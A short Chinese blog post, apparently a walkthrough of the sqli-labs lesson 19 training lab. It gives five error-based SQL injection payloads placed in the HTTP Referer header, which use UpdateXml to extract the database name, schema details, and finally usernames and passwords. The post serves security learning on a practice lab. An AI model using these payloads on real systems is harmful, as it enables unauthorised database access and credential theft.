您的位置:首页 > 博客中心 > 数据库 >

【sqli-labs】 less19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)

时间:2022-03-15 06:20

技术分享图片

这个和less18一样,都是基于header的注入

这次的字段是referer

Referer: 123‘ AND UpdateXml(1,concat(0x7e,database(),0x7e),1),1)#

技术分享图片

技术分享图片

Referer: 123‘ AND UpdateXml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),0x7e),1),1)#

技术分享图片

Referer: 123‘ AND UpdateXml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘ limit 0,1),0x7e),1),1)#

技术分享图片

Referer: 123‘ AND UpdateXml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1),1)#

技术分享图片

Referer: 123‘ AND UpdateXml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e),1),1)#

技术分享图片

 

热门排行

今日推荐

热门手游